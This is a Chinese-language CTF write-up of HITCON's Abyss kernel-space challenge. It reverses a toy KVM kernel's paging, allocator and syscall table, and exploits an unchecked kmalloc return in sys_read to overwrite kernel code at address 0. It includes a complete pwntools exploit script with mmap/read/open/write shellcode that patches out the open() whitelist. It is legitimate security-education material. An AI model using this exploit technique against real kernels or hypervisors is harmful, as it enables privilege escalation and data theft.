Abyss - Kernel Space

Pwn掉了User Space现在我们来看Kernel Space。根据Abyss I,我们可以执行任意用户空间的shellcode。

在上一个Abyss中,我们将shellcode存储在vars中。之后跳转到vars。这样操作需要每四个字节去存储,输入比较长。其实,我们的输入直接就在s数组中,也是在bss中的,所以直接跳转到s上即可。这样输入可以缩短很多。

参考的WP在这里

Reversing

在逆向内核的部分,主要关注的点在于:

  • 内核的地址空间,用户的地址空间,页表等
  • 系统调用表

IDA打开是服务号的,我们结合源码来分析内核的结构和功能。

entry.s

image-20200529163005095

源码:

1
2
3
4
5
6
7
8
9
10
.globl _start, hlt
.extern kernel_main
.intel_syntax noprefix
_start:
mov rdx, [rsp] /* argc */
lea rcx, [rsp + 8] /* argv */
call kernel_main
hlt:
hlt
jmp hlt

把参数取出,调用kernel_main作为真正的main函数。之后就一直hlt。

kernel_main.c

image-20200529164118255

先初始化了页表(在mm中),然后初始化了内存分配器,根据源码这里得到KERNEL_BASE_OFFSET=0x8000000000。之后注册了系统调用,最后切换了用户。

init_pagetable

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
/* Maps
* 0x8000000000 ~ 0x8002000000 -> 0 ~ 0x2000000
*/
void init_pagetable() {
uint64_t* pml4;
asm("mov %[pml4], cr3" : [pml4]"=r"(pml4));
uint64_t* pdp = (uint64_t*) ((uint64_t) pml4 + 0x3000);
pml4[1] = PDE64_PRESENT | PDE64_RW | (uint64_t) pdp; // 0x8000000000
uint64_t* pd = (uint64_t*) ((uint64_t) pdp + 0x1000);
pdp[0] = PDE64_PRESENT | PDE64_RW | (uint64_t) pd;
for(uint64_t i = 0; i < 0x10; i++)
pd[i] = PDE64_PRESENT | PDE64_RW | PDE64_PS | (i * KERNEL_PAGING_SIZE);
}

从注释来看这部分的功能是做一个0x8000000000 ~ 0x8002000000到0 ~ 0x2000000的地址映射,页表就是干这个事儿的。首先获取cr3寄存器的值,赋值给pml4。

cr3寄存器是页目录基址寄存器,保存页目录表的物理地址。

pml4的含义为Page Mape Level 4。

pdp赋值为pml4+0x3000的地址。

pdp的含义是Page Directory Pointer table,页目录指针表,用于保存页目录的地址

在pml4的第一项的位置放了一个pdp,之后设置pd(页目录)地址=pdp+0x1000。pdp[0]保存了pd,之后在pd中保存了16项,即在页表中保存了16个页面的地址,这些页面都有PDE64_PS标志位,说明是2M的页面,而不是4K的页面。因此总共的空间大小为
$$
2 \times 1024 \times 1024 \times \text{0x10} = \text{0x2000000}
$$
image-20200529182317200

这全部的空间包括内核空间和用户空间。如何分配这两部分的空间还没有信息。其实关于内核的位置在hypervisor中可以看到。

kernel

我们放到之后再说,现在知道内核是在0x0~0x200000即可。

init_allocator

1
2
3
4
5
6
7
void init_allocator(void *addr, uint64_t len) {
if(len == 0 || (len & 0xfff) != 0) panic("kmalloc.c#init_allocator: invalid length");

arena.top = addr;
arena.top_size = len;
memset(&arena.sorted_bin, 0, sizeof(arena.sorted_bin));
}

设置内存分配的。

image-20200529182704954

调用时init_allocator((const char *)(addr | 0x8000000000i64), len);。所以arena.top就是0x8000000000。现在应该可以得出结论,内存映射:0x8000000000~0x8002000000到0x0~0x2000000。

同样的我们可以看一下physical函数:

image-20200529212600434

通过异或去掉了高位的0x80 0000 0000。

register_syscall

image-20200529183242227

wrmsr写模式定义寄存器。用法就是把信息存入(EDX, ECX),然后调用wrmsr,即可把信息存入ecx指定的MSR中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#define MSR_STAR 0xc0000081 /* legacy mode SYSCALL target */
#define MSR_LSTAR 0xc0000082 /* long mode SYSCALL target */
#define MSR_CSTAR 0xc0000083 /* compat mode SYSCALL target */
#define MSR_SYSCALL_MASK 0xc0000084
int register_syscall() {
asm(
"xor rax, rax;"
"mov rdx, 0x00200008;"
"mov ecx, %[msr_star];"
"wrmsr;"

"mov eax, %[fmask];"
"xor rdx, rdx;"
"mov ecx, %[msr_fmask];"
"wrmsr;"

"lea rax, [rip + syscall_entry];"
"mov rdx, %[base] >> 32;"
"mov ecx, %[msr_syscall];"
"wrmsr;"
:: [msr_star]"i"(MSR_STAR),
[fmask]"i"(0x3f7fd5), [msr_fmask]"i"(MSR_SYSCALL_MASK),
[base]"i"(KERNEL_BASE_OFFSET), [msr_syscall]"i"(MSR_LSTAR)
: "rax", "rdx", "rcx");
return 0;
}

这部分注册syscall,如声明syscall的入口在哪里找等等。具体syscall有哪些应该不在这里。

switch_user

1
2
3
4
5
6
7
8
9
10
11
12
13
void switch_user(uint64_t argc, char *argv[]) {
int total_len = (argv[argc - 1] + strlen(argv[argc - 1]) + 1) - (char*) argv;
/* temporary area for putting user-accessible data */
char *s = kmalloc(total_len, MALLOC_PAGE_ALIGN);
uint64_t sp = physical(s);
add_trans_user((void*) sp, (void*) sp, PROT_RW); /* sp is page aligned */

/* copy strings and argv onto user-accessible area */
for(int i = 0; i < argc; i++)
argv[i] = (char*) (argv[i] - (char*) argv + sp);
memcpy(s, argv, total_len);
sys_execve(argv[0], (char**) sp, (char**) (sp + argc * sizeof(char*)));
}

image-20200529184554775

从内核切换到用户,执行user.elf。

Where are the syscalls?

image-20200529185513618

从左边来看sys_execve附近应该都是syscall的实现了。后来发现不是,这块儿是hyper call的。。。

Try to recover syscall table

一系列的恢复符号的操作。没逆向基础啥都看不出来的我求不喷。

首先找到的是syscall_entry,这个比较好找,因为是大量的push+call+大量的pop操作,源码也是内联汇编写的。

image-20200529232015037

中间调用的就是syscall_handler,功能应该就是根据rax选择执行的函数。

image-20200529232101937

之所以没有switch case语句就是和这部分有关,这里没有做判断,而是通过rax算出偏移找函数指针的方式来调用。函数的地址=syscall table的地址+系统调用号*8,正好一个地址8字节。这样就找到了syscall table。

image-20200529232343889

这样就和源码对上了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
static const void* syscall_table[MAX_SYS_NR + 1] = {
#define ENTRY(f) [SYS_##f]=sys_##f

ENTRY(read),
ENTRY(write),
ENTRY(open),
ENTRY(close),
ENTRY(fstat),
ENTRY(mmap),
ENTRY(mprotect),
ENTRY(munmap),
ENTRY(brk),
ENTRY(writev),
ENTRY(access),
/* ENTRY(execve), */
ENTRY(exit),
ENTRY(arch_prctl),
ENTRY(fadvise64),
ENTRY(exit_group),
ENTRY(openat),

#undef ENTRY
};
...
case 0: sys = "read"; break;
case 1: sys = "write"; break;
case 2: sys = "open"; break;
case 3: sys = "close"; break;
case 5: sys = "fstat"; break;
case 9: sys = "mmap"; break;
case 10: sys = "mprotect"; break;
case 11: sys = "munmap"; break;
case 12: sys = "brk"; break;
case 20: sys = "writev"; break;
case 21: sys = "access"; break;
case 59: sys = "execve"; break;
case 60: sys = "exit"; break;
case 63: sys = "[not implemented] uname"; break;
case 158: sys = "arch_prctl"; break;
case 221: sys = "fadvise64"; break;
case 231: sys = "exit_group"; break;
case 257: sys = "openat"; break;
default: sys = "unsupported";

这样syscall table就搞定了。

sys_open

image-20200529190232209

在这里设置了open的path白名单,user空间Pwn的时候不能getshell原因就在这里。同样的我们也不能去读其他的flag文件,因为strcmp结果不为0。

继续看的时候有点烦躁,因为其他的syscall看起来猜不出来,也不知道系统调用号怎么看。用xref也没有找到。系统调用号的话应该有个switch case的跳转呀,并没有找到。

跟着源码把hyper系列的函数恢复了,跟着hyper确定了write和read。

sys_read

1
2
3
4
5
6
7
8
9
int64_t sys_read(int fildes, void *buf, uint64_t nbyte) {
if(fildes < 0) return -EBADF;
if(!access_ok(VERIFY_WRITE, buf, nbyte)) return -EFAULT;
void *dst = kmalloc(nbyte, MALLOC_NO_ALIGN);
int64_t ret = hp_read(fildes, physical(dst), nbyte);
if(ret >= 0) memcpy(buf, dst, ret);
kfree(dst);
return ret;
}

从源码来看,首先通过kmalloc分配了要read的大小的内存,之后调用hyper_read,从文件描述符对应的文件中读取nbytes长度到kmalloc的内存中,如果没有问题再通过memcpy拷贝到用户空间的buf中,然后释放kmalloc的空间。

看到这里有没有什么想法?

Vuln

在sys_read函数中,可以发现没有对kmalloc的返回值进行校验,这在内核中是很危险的。我们来看一下kmalloc函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
void *kmalloc(uint64_t len, int align) {
if(len >= (1ull << 32)) return 0;
uint64_t nb = len + offsetof(struct chunk, next);
/* 0x80 align up */
if(nb & 0x7f) nb = (nb & -0x80) + 0x80;

void *victim = int_kmalloc(nb, align);
if(victim == 0) return 0;
if(align != MALLOC_NO_ALIGN &&
((uint64_t) victim & (align - 1))
) panic("kmalloc.c#kmalloc: alignment request failed");
return victim;
}

如果kmalloc失败,如传入的大小过大,kmalloc就会返回0,0地址在内核是有意义的,因为我们的内核的地址空间包括着0地址。

在sys_read中,会直接将文件描述符中的内容拷贝到kmalloc返回的地址中。如果kmalloc返回了0,那么这些内容就会直接写入0地址,相当于修改了内核的0地址处的代码。如果我们能够把shellcode写入内核代码,就可以在内核中执行任意shellcode。

用gdb attach到用hypervisor,可以看到内核的空间:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x155552f3b000 0x155554f3b000 rw-p 2000000 0 /dev/zero (deleted) <= 映射的是0地址,内核+用户空间,大小0x2000000
0x155554f3b000 0x155555122000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so
0x155555122000 0x155555322000 ---p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x155555322000 0x155555326000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x155555326000 0x155555328000 rw-p 2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
0x155555328000 0x15555532c000 rw-p 4000 0
0x15555532c000 0x155555353000 r-xp 27000 0 /lib/x86_64-linux-gnu/ld-2.27.so
0x155555535000 0x155555537000 rw-p 2000 0
0x15555554c000 0x15555554f000 rw-p 3000 0 anon_inode:kvm-vcpu:0
0x15555554f000 0x155555552000 r--p 3000 0 [vvar]
0x155555552000 0x155555553000 r-xp 1000 0 [vdso]
0x155555553000 0x155555554000 r--p 1000 27000 /lib/x86_64-linux-gnu/ld-2.27.so
0x155555554000 0x155555555000 rw-p 1000 28000 /lib/x86_64-linux-gnu/ld-2.27.so
0x155555555000 0x155555556000 rw-p 1000 0
0x555555554000 0x555555558000 r-xp 4000 0 /home/wgn/Desktop/release/hypervisor.elf
0x555555757000 0x555555758000 r--p 1000 3000 /home/wgn/Desktop/release/hypervisor.elf
0x555555758000 0x555555759000 rw-p 1000 4000 /home/wgn/Desktop/release/hypervisor.elf
0x555555759000 0x55555577a000 rw-p 21000 0 [heap]
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
pwndbg> x/20gx 0x155552f3b000
0x155552f3b000: 0x244c8d4824148b48 0xebf4000000dde808 <= 内核的代码
...
pwndbg> x/20i 0x155552f3b000
0x155552f3b000: mov rdx,QWORD PTR [rsp] <= 确实是内核的代码
0x155552f3b004: lea rcx,[rsp+0x8]
0x155552f3b009: call 0x155552f3b0eb
0x155552f3b00e: hlt
0x155552f3b00f: jmp 0x155552f3b00e
0x155552f3b011: xor rax,rax
...

🤔️这种情况怎么调试呵..看了几个wp都没有说咋调试

Exploit

现在的目标比较明确了,我们首先想办法让kmalloc返回0,然后写入内核空间的shellcode。

Make kmalloc return 0

分析一下kmalloc什么时候返回0。

1
2
3
4
5
6
7
8
9
10
11
12
13
void *kmalloc(uint64_t len, int align) {
if(len >= (1ull << 32)) return 0;
uint64_t nb = len + offsetof(struct chunk, next);
/* 0x80 align up */
if(nb & 0x7f) nb = (nb & -0x80) + 0x80;

void *victim = int_kmalloc(nb, align);
if(victim == 0) return 0;
if(align != MALLOC_NO_ALIGN &&
((uint64_t) victim & (align - 1))
) panic("kmalloc.c#kmalloc: alignment request failed");
return victim;
}

如果长度超过0x100000000就会返回0。这是第一种情况。

之后调用int_kmalloc来分配。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static void *int_kmalloc(uint64_t nb, int align) {
if(align == MALLOC_NO_ALIGN) {
void *ret = fetch_sorted_bin(nb);
if(!ret) ret = malloc_top(nb);
return ret;
}
if(align != MALLOC_PAGE_ALIGN) panic("kmalloc.c#kmalloc: invalid alignment");
// address to be returned must be aligned
// calculate the size of chunk to be splited such that
// remain_top & (ALIGN - 1) == ALIGN-offsetof(chunk, next)
uint64_t cur = (uint64_t) arena.top & (align - 1);
uint64_t consume = (((align - offsetof(struct chunk, next)) - cur) & (align - 1));
void *gap = 0;
if(consume == 0) ; /* already been fulfilled */
else {
gap = malloc_top(consume);
if(gap == 0) return 0; // no enough memory
}
void *ret = malloc_top(nb); // this should satisfy the alignment
kfree(gap);
return ret;
}

如果没有通过fetch_sorted_bin找到合适的空闲块,就调用malloc_top分配空间。

1
2
3
4
5
6
7
8
static void *malloc_top(uint64_t nb) {
if(arena.top_size < nb) return 0;
arena.top_size -= nb;
struct chunk* c = (struct chunk*) arena.top;
c->size = nb;
arena.top += nb;
return chunk2mem(c);
}

如果malloc_top发现此时top_size不够用,也会返回0。这是第二种情况。

第一种情况不能用,因为sys_read调用了access_ok做检查。

1
2
3
int64_t sys_read(int fildes, void *buf, uint64_t nbyte) {
if(fildes < 0) return -EBADF;
if(!access_ok(VERIFY_WRITE, buf, nbyte)) return -EFAULT;

因为我们没有0x100000000这么大的空间,所以绕过不了access_ok,也就是说通过分配大内存的方法是不可行的。只能用第二种方法。

现在的方法是,传入一个大于arena.top_size的值,让malloc_top返回0。

Main idea

  1. 先通过mmap分配0x1000000,现在剩余的空间小于0x1000000。

  2. 调用sys_read(0, buf, 0x1000000),这样kmalloc返回0

  3. 在hypervisor中调用read(0, $vm->mem+0, 0x1000000),我们可以覆盖0x1000000的空间,而内核只有0x200000,所以整个内核都可以被我们覆盖。

  4. 可以覆盖内核的代码之后,可以nop掉sys_read中的白名单检查的部分。

  5. 通过ORW的shellcode来读取flag2内容。

Step 1: mmap

mmap在VM中的系统调用号是9。和正常的linux系统调用号符合。

image-20200530105023654

  • add = 0,让系统选地址,我们不关心具体地址在哪里。
  • len = 0x1000000,让剩余的空间小,kmalloc才能返回0
1
2
3
4
5
6
7
8
#define PROT_READ        0x1                /* Page can be read.  */
#define PROT_WRITE 0x2 /* Page can be written. */
#define PROT_EXEC 0x4 /* Page can be executed. */
#define PROT_NONE 0x0 /* Page can not be accessed. */
#define PROT_GROWSDOWN 0x01000000 /* Extend change to start of
growsdown vma (mprotect only). */
#define PROT_GROWSUP 0x02000000 /* Extend change to start of
growsup vma (mprotect only). */
  • prot设置可读可写可执行,所以是7,没这么全的权限应该也可以。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#define MAP_SHARED        0x01                /* Share changes.  */
#define MAP_PRIVATE 0x02 /* Changes are private. */
#ifdef __USE_MISC
# define MAP_TYPE 0x0f /* Mask for type of mapping. */
#endif
/* Other flags. */
#define MAP_FIXED 0x10 /* Interpret addr exactly. */
#ifdef __USE_MISC
# define MAP_FILE 0
# ifdef __MAP_ANONYMOUS
# define MAP_ANONYMOUS __MAP_ANONYMOUS /* Don't use a file. */
# else
# define MAP_ANONYMOUS 0x20 /* Don't use a file. */
# endif
# define MAP_ANON MAP_ANONYMOUS
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
flags:指定映射对象的类型,映射选项和映射页是否可以共享。它的值可以是一个或者多个以下位的组合体
MAP_FIXED :使用指定的映射起始地址,如果由start和len参数指定的内存区重叠于现存的映射空间,重叠部分将会被丢弃。如果指定的起始地址不可用,操作将会失败。并且起始地址必须落在页的边界上。
MAP_SHARED :对映射区域的写入数据会复制回文件内, 而且允许其他映射该文件的进程共享。
MAP_PRIVATE :建立一个写入时拷贝的私有映射。内存区域的写入不会影响到原文件。这个标志和以上标志是互斥的,只能使用其中一个。
MAP_DENYWRITE :这个标志被忽略。
MAP_EXECUTABLE :同上
MAP_NORESERVE :不要为这个映射保留交换空间。当交换空间被保留,对映射区修改的可能会得到保证。当交换空间不被保留,同时内存不足,对映射区的修改会引起段违例信号。
MAP_LOCKED :锁定映射区的页面,从而防止页面被交换出内存。
MAP_GROWSDOWN :用于堆栈,告诉内核VM系统,映射区可以向下扩展。
MAP_ANONYMOUS :匿名映射,映射区不与任何文件关联。
MAP_ANON :MAP_ANONYMOUS的别称,不再被使用。
MAP_FILE :兼容标志,被忽略。
MAP_32BIT :将映射区放在进程地址空间的低2GB,MAP_FIXED指定时会被忽略。当前这个标志只在x86-64平台上得到支持。
MAP_POPULATE :为文件映射通过预读的方式准备好页表。随后对映射区的访问不会被页违例阻塞。
MAP_NONBLOCK :仅和MAP_POPULATE一起使用时才有意义。不执行预读,只为已存在于内存中的页面建立页表入口。
  • flags = 16 ?这里有点迷惑。mmap应该一定要设置MAP_SHARED或者MAP_PRIVATE的。似乎用MAP_ANONYMOUS更好一些。

后记:WP中flags=16是可以攻击成功的。不过直觉来看0x21才是比较正常的值。

  • fd = -1 并没有需要映射的文件,用-1即可。
  • off = 0 从哪里开始映射。通常都是0。

这里要想看shellcode的执行效果有点困难了,因为想要shellcode正常执行,需要用hypervisor起环境。但是只能看到0x2000000的总的空间,怎么去看内核和用户程序的执行呢?

太难了

完成mmap的shellcode:

1
2
3
4
5
6
7
8
9
10
11
sc = asm('''
/* mmap(0, 0x1000000, 7, 0x21, -1, 0); */
mov rdi, 0
mov rsi, 0x1000000
mov rdx, 7
mov r10, 0x21
mov r8, -1
mov r9, 0
mov rax, 9
syscall
''')

Step2: write to kernel

接下来调用read,此时应该就可以从0地址开始写入了。为了方便调试,在shellcode后面加入了一个循环,这样容易断下来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
sc = asm('''
/* mmap(0, 0x1000000, 7, 0x20, -1, 0); */
mov rdi, 0
mov rsi, 0x1000000
mov rdx, 7
mov r10, 0x21
mov r8, -1
mov r9, 0
mov rax, 9
syscall
''')
sc += asm(shellcraft.read(0, 'rax', 0x1000000))
sc += asm('''
loop:
jmp loop
''')
print len(sc)
run_user_shellcode(sc)
sleep(1)
p.sendline('tttttttt')

可以看到内核的内容被改写:

1
2
3
4
5
6
7
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x155552f3b000 0x155554f3b000 rw-p 2000000 0 /dev/zero (deleted)
...
pwndbg> x/20gx 0x155552f3b000
0x155552f3b000: 0x7474747474747474 0xebf4000000dde80a
0x155552f3b010: 0x08c2c748c03148fd 0xc0000081b9002000

如果不确定mmap的返回值,可以push rax,然后shellcode里写write输出出来看一下。

Step3: orw

能够写内核之后,我们直接把open的白名单判断的部分nop掉。

image-20200530153541160

从0x9a4开始的位置是判断,0xa19开始是正常的打开文件的部分。把这部分nop掉即可。

1
2
3
kernel = open('./kernel.bin', 'rb').read()
pl = kernel[:0x9a4]+(0xa19-0x9a4)*asm('nop')
p.send(pl)

攻击之后发现失败了。

1
2
3
4
5
[*] Switching to interactive mode
[DEBUG] Received 0x12 bytes:
'KVM_EXIT_SHUTDOWN\n'
KVM_EXIT_SHUTDOWN
[*] Got EOF while reading in interactive

回显KVM_EXIT_SHUTDOWN应该是出了问题。

后来发现,从0到0x9a4这一部分并不全是代码,也有一些数据。问题出在syscall_entry这里的栈指针没有维护好。

首先来看syscall_entry的实现:

image-20200530150300444

在进行系统调用时,首先将当前的用户态的rsp保存到cs:user_stack(偏移0x155),然后将内核的栈地址从cs:kernel_stack(偏移0x14D)放入rsp寄存器。之后push好几个寄存器的值,调用syscall_handler。syscall_handler的功能就是根据rax找到函数地址jmp过去。完成之后把内核上保存的寄存器恢复,然后恢复rsp,从内核中返回。

syscall_entry到0地址的距离还是挺近的。上面就是两个栈地址。

image-20200530151133259

我们在覆盖的过程中,把这两个栈地址给写成0了(因为kernel.bin里面就是0)。这就使得syscall的时候栈地址被写成了0。注意,这块的地址应该是映射过去的0x8000000000~0x8002000000的地址。

解决的方法如下,我们在攻击前先把用户栈地址泄露出来,这很简单push rsp然后write就可以了。内核的栈地址我们写0x8002000000以下的地址即可,保证可读可写。

Full Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python
from pwn import *

context.arch = 'amd64'
context.log_level='debug'
y = process("./hypervisor.elf kernel.bin ld.so.2 ./user.elf".split(" "))

kernel = open( './kernel.bin' ).read()

s = '31a-\\a:2107732+a;,' + '\x90' * 70
s += asm(
'''
mov rdi, 0
mov rsi, 0x1000000
mov rdx, 7
mov r10, 16
mov r8, -1
mov r9, 0
mov rax, 8
inc rax
syscall

mov r10, rax /*save this address*/
push rsp
''' +
shellcraft.write( 1 , 'rsp' , 8 ) +
shellcraft.read( 0 , 'r10' , 0x1000000 ) +
shellcraft.pushstr( 'flag2\x00' ) +
shellcraft.open( 'rsp' , 0 , 0 ) +
shellcraft.read( 'rax' , 'rsp' , 0x60 ) +
shellcraft.write( 1 , 'rsp' , 0x60 )
)

y.recv()
y.sendline(s)

user_stack = u64( y.recv(8) )
success( 'User stack -> %s' % hex( user_stack ) )

kernel_mod = kernel[:0x14d] + p64( 0x8002000000 ) + p64( user_stack + 0x100 )
kernel_mod += kernel[0x15d:0x9a4] + '\x90' * 0x75

sleep(1)
y.send( kernel_mod )

y.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[DEBUG] Sent 0x1 bytes:
'\n' * 0x1
[*] Process './hypervisor.elf' stopped with exit code 1 (pid 19394)
[*] Got EOF while sending in interactive
00000000 68 69 74 63 6f 6e 7b 2d 2d 2d 66 6c 61 67 32 2d │hitc│on{-│--fl│ag2-│
00000010 77 69 6c 6c 2d 62 65 2d 68 65 72 65 2d 2d 2d 7d │will│-be-│here│---}│
00000020 0a aa 7b ff ff 7f 00 00 1c 00 00 00 00 00 00 00 │··{·│····│····│····│
00000030 56 ac 7b ff ff 7f 00 00 00 00 00 00 00 00 00 00 │V·{·│····│····│····│
00000040 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 │····│····│····│····│
00000050 ff fb eb bf 00 00 00 00 06 00 00 00 00 00 00 00 │····│····│····│····│
00000060 4b 56 4d 5f 45 58 49 54 5f 53 48 55 54 44 4f 57 │KVM_│EXIT│_SHU│TDOW│
00000070 4e 0a │N·│
00000072
hitcon{---flag2-will-be-here---}
\xaa{\xff\xff\x7f\x00\x1c\x00\x00\x00V\xac{\xff\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\xff���\x00\x06\x00\x00\x00KVM_EXIT_SHUTDOWN

攻击的核心在于向内核的0地址写。这有点像早期的linux kernel pwn。

可供参考的kernel.i64

除了像上面覆盖到open的方法之外,也可以参考这里,因为hypervisor处理完read之后,

1
2
3
4
5
6
7
8
9
10
seg000:0000000000000E72 hypercall       proc near               ; CODE XREF: sub_966+7↑j
seg000:0000000000000E72 ; hyper_stat+33↑p ...
seg000:0000000000000E72 mov dx, di
seg000:0000000000000E75 mov eax, esi
seg000:0000000000000E77 out dx, eax
seg000:0000000000000E78 in eax, dx
seg000:0000000000000E79 mov edi, eax
seg000:0000000000000E7B mov eax, edi
seg000:0000000000000E7D retn
seg000:0000000000000E7D hypercall endp

执行到in/out这个位置,直接在这里写orw的shellcode也可以。

u1s1,现在的地址转换已经让我有点迷糊了…上面的参考链接中给出了Abyss III的攻击思路。感觉需要把页表部分的知识补习一下,还有就是Hypervisor的知识。

一年一遍《深入理解计算机系统》🤯